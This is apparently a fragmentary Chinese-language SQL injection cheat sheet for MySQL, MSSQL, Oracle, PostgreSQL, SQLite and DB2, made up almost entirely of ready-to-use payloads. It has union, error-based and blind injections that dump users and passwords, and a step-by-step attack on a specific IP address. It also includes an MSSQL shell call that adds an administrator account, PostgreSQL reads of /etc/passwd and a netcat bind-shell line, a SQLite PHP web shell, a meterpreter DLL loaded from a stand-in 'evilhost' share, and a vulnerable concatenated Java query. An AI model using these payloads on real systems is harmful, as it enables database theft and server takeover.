?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
5.根据表名查列名
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.clumns where table_name='前面查出来的表名' and table_schema=database() --+
6.数据
?id=0' union select 1,2,3,group_concat(password) from users --+
联合注入
?id=1' order by 4--+ ?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+ #group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+ #group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1--+
报错注入
# 1.floor() select * from testwhere id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue() select * from testwhere id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml() select * from testwhere id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection() select * from testwhere id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint() select * from testwhere id=1 and multipoint((select * from(select * from(select user())a)b));
# 6.polygon() select * from testwhere id=1 and polygon((select * from(select * from(select user())a)b));
# 7.multipolygon() select * from testwhere id=1 and multipolygon((select * from(select * from(select user())a)b));
# 8.linestring() select * from testwhere id=1 and linestring((select * from(select * from(select user())a)b));
# 9.multilinestring() select * from testwhere id=1 and multilinestring((select * from(select * from(select user())a)b));
# 10.exp() select * from testwhere id=1 and exp(~(select * from(select user())a));
爆库: ?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + 爆表: ?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security'limit 3,1),1) -- +
爆字段: ?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- + 爆数据: ?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
盲注
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等 mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin"); Query OK, 1 row affected (5.00 sec)
# delete 函数 or 右边一定要为 false mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0); Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0); Query OK, 0 rows affected (5.00 sec)
#列数据库 SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
# 列表 SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, table_name FROM information_schema.columns
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
# 列列 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
SELECT table_catalog, column_name FROM information_schema.columns
# 提取用户名密码 #MSSQL 2000: SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
#MSSQL 2005 SELECT name, password_hash FROM master.sys.sql_logins SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
# 堆叠注入 ProductID=1; DROP members--
实验:
http://219.153.49.228:40603/new_list.asp?id=2 and 1=1 #页面返回正常说明存在注入点。
# 第二步:查找列数 http://219.153.49.228:40603/new_list.asp?id=2 order by 1 # 成功 ;order by 2 成功;order by 3 失败; order by 4 成功;order by 5 失败 说明列数位于 3-4之间。
# 第三步:查找回显点 http://219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;# 挨个替换null 发现 select null,2,null,null 页面出现回显。
# 第四步:查找所在库名称添加: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 #找到数据库名称。 提示:这里也可以使用db_name(1)、db_name(2)等查询其他数据库
# 第五步:查找数据库表名称: ?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 # 提示: xtype='U'为用户表
# 第六步:查找列名称: ?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 #替换 col_name(object_id('manage'),1) 中的1 依次为 2,3,4查出所有列名。
# 第七步:查取数据: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 # 获取用户名 ?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 # 获取密码
# 第八步:MD5 解密
注入流程
判断是否为mssql数据库: and (select count(*) from sysobjects) >0
注入流程:
# 0.1判断注入 and 1=1 and 1=2
# 0.2回显,判断数据库类型 And 1=2
# 0.3判断字段 order by ...
# 1.判断字段数量和类型 union all select null,null,null,null union all select '1','2','3','4' union all select '1','2',db_name(),'4'
# 2.联合查询 And 1=2 Union select …… And 1=2 union all select …… #注:判断字符是否特殊 And 1=2 union all select 1,2,’3’,4
# 2.1 猜数据库名 And 1 =2 union all select 1,db_name(),3,4 And 1 =2 union all select 1,db_name(1),3,4 And 1 =2 union all select 1,db_name(2),3,4 And 1 =2 union all select 1,db_name(3),3,4 ……
# 3.猜表名 And 1=2 union all select 1,(select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’),3,4 #3.1查看其它表名: And 1=2 union all select 1,(select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and name not in (‘表名’)),3,4
#实例: union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),'3',4
# 3.查列名 union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4
union all select 1,(select top 1 col_name(object_id('manage'),2)from sysobjects),'3',4
union all select 1,(select top 1 col_name(object_id('manage'),3)from sysobjects),'3',4
#例子: id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
id=-2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null #以上几步说明mange表总共有3列,分别为:id、username、password
# 4.爆破值 union all select null,username, password ,null from manage
判断字段长度和值:
#判断username长度和值 # 长度 len() and exists (select id from manage where len(username)<20 and id=1)
and exists (select id from manage where len(username)<15 and id=1)
and exists (select id from manage where len(username)=8 and id=1)
# 值 unicode() and exists (select id from manage where unicode(substring(username,2,1)) = 100 and id=1)
联合注入
?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
报错注入
# 对于整数型 convert(int,@@version) cast((SELECT @@version) as int)
-- 执行系统命令 select*from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user test test /add")') select*from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators test /add")')
#5.爆数据表 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'2' from dual
#6.爆字段名 第一个字段 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual 第二个字段 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name <> 'user_name') from dual
#7.爆数据 #爆某表中的第一行数据: union select 1,字段1||字段2...||字段n from 表名 where rownum=1 -- 第一个 union select user_name,user_pwd from "sns_users" 第二个 union select user_name,user_pwd from "sns_users"where user_name <> 'hu'
------
常用查询
# 查看数据库版本 SELECT user FROM dual UNION SELECT * FROM v$version
# 查看当前用户: SELECT user FROM dual;
# 列出所有用户: SELECT username FROM all_users ORDER BY username;
# 列出数据库 SELECT DISTINCT owner FROM all_tables;
# 列出表名: SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
# 列出字段名: SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
# 定位DB文件: SELECT name FROM V$DATAFILE;
联合注入
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
报错注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
盲注
布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。 语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下:
IF 条件=值1 THEN RETURN(返回值1) ELSIF 条件=值2 THEN RETURN(返回值2) ...... ELSIF 条件=值n THEN RETURN(返回值n) ELSE RETURN(缺省值) END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)-- ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)-- ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) -- http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
当然,这里延迟的操作不一定用延迟函数,也可以使用花费更多时间去查询所有数据库的条目。例如:
(select count(*) from all_objects)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'
通过这种明显时间差也能判断注入表达式的结果。
PostgreSQL注入
注入流程
#order by 猜字段 219.153.49.228:47148/new_list.php?id=1 order by 4
#判断是否为postgresql ?id=1 and 1::int=1--
#全部用null填充 方便在测试类型 ?id=-1 union select null,null,null,null
#测试类型, 这里为字符类型 ?id=-1 union select null,'null','null',null
#当前数据库 ?id=-1 union select null,current_database(),'null',null
#表名 ?id=-1 union select null,relname,'null',null from pg_stat_user_tables limit 1 offset 1
#列名 分析解说:通过SQL语句中联合查询,修改offset后面的数字得到2个字段,和字段名 ?id=-1 union select null,column_name,'null',null from+information_schema.columns where table_name='reg_users'limit 1 offset 1
#字段值 offset不断改变值,依次获取值 通过SQL语句联合查询,显示出key的MD5值。 ?id=-1 union select null,'null','用户名:'||name||',密码:'||password||',状态:'||status||',id:'||id,null from reg_users limit 1 offset 0
CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0;
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
写文件
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
一行:
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
Bypass Filter
Using CHR
SELECT CHR(65)||CHR(66)||CHR(67);
Using Dollar-signs ( >= version 8 PostgreSQL)
SELECT $$This is a string$$ SELECT $TAG$This is another string$TAG$
SQLite注入
SQLite comments
-- /**/
SQLite version
select sqlite_version();
String based - Extract database structure
SELECT sql FROM sqlite_schema
Integer/String based - Extract table name
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
Use limit X+1 offset X, to extract all tables.
Integer/String based - Extract column name
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
For a clean output
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
Boolean - Count number of tables
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
Boolean - Enumerating table name
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
Boolean - Extract info
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
Time based
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
Remote Command Execution using SQLite command - Attach Database
ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
Remote Command Execution using SQLite command - Load_extension
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
Note: By default this component is disabled
DB2注入
Version
select versionnumber, version_timestamp from sysibm.sysversions; select service_level from table(sysproc.env_get_inst_info()) as instanceinfo select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+) select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo select service_level,bld_level from sysibmadm.env_inst_info
Comments
select blah from foo -- comment like this (double dash)
Current User
select user from sysibm.sysdummy1 select session_user from sysibm.sysdummy1 select system_user from sysibm.sysdummy1
List Users
DB2 uses OS accounts
select distinct(authid) from sysibmadm.privileges -- priv required select grantee from syscat.dbauth -- incomplete results select distinct(definer) from syscat.schemata -- more accurate select distinct(grantee) from sysibm.systabauth -- same as previous
List Privileges
select * from syscat.tabauth -- shows priv on tables select * from syscat.tabauth where grantee = current user -- shows privs for current user select * from syscat.dbauth where grantee = current user;; select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies
List DBA Accounts
select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y' select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’
Current Database
select current server from sysibm.sysdummy1
List Databases
select distinct(table_catalog) from sysibm.tables SELECT schemaname FROM syscat.schemata;
List Columns
select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat
List Tables
select table_name from sysibm.tables select name from sysibm.systables
Find Tables From Column Name
select tbname from sysibm.syscolumns where name='username'
Select Nth Row
select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
Select Nth Char
select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b
Bitwise AND/OR/NOT/XOR
select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot
ASCII Value
Char select chr(65) from sysibm.sysdummy1 -- returns 'A'
Char -> ASCII Value
select ascii('A') from sysibm.sysdummy1 -- returns 65
Casting
select cast('123' as integer) from sysibm.sysdummy1 select cast(1 as char) from sysibm.sysdummy1
String Concat
select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab'
IF Statement
Seems only allowed in stored procedures. Use case logic instead.
Case Statement
select CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END from sysibm.sysdummy1
Avoiding Quotes
SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too
Time Delay
Heavy queries, for example: If user starts with ascii 68 (‘D’), the heavy query will be executed, delaying the response. However, if user doesn’t start with ascii 68, the heavy query won’t execute and thus the response will be faster.
' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68
Serialize to XML (for error based)
select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result.
Command Execution and Local File Access
Seems it’s only allowed from procedures or UDFs.
Hostname/IP and OS INFO
select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv
Location of DB Files
select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv
System Config
select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions. select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg -- Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.
Class.forName("com.mysql.cj.jdbc.Driver"); Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/jsxp_test?useUnicode=true&characterEncoding=utf-8&useSSL=false&serverTimezone=UTC","test","test123");
try { String id = "56"; String sql = "select * from cms_tag where f_tag_id=" + id; Statement statement = con.createStatement(); ResultSet rs = statement.executeQuery(sql); while (rs.next()){ System.out.println("id: "+rs.getInt("f_tag_id") + ", name=" + rs.getString("f_name")); }
public class TestSQL { public static void main(String []args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver"); Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/jsxp_test?useUnicode=true&characterEncoding=utf-8&useSSL=false&serverTimezone=UTC","test","test123");
Customer customer=new Customer(); customer.setName(“pansl”); customer.setAge(80); Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”); query.setProperties(customer);
String hql=”from User user where user.name=:customername ”; Query query=session.createQuery(hql); query.setParameter(“customername”,name,Hibernate.STRING);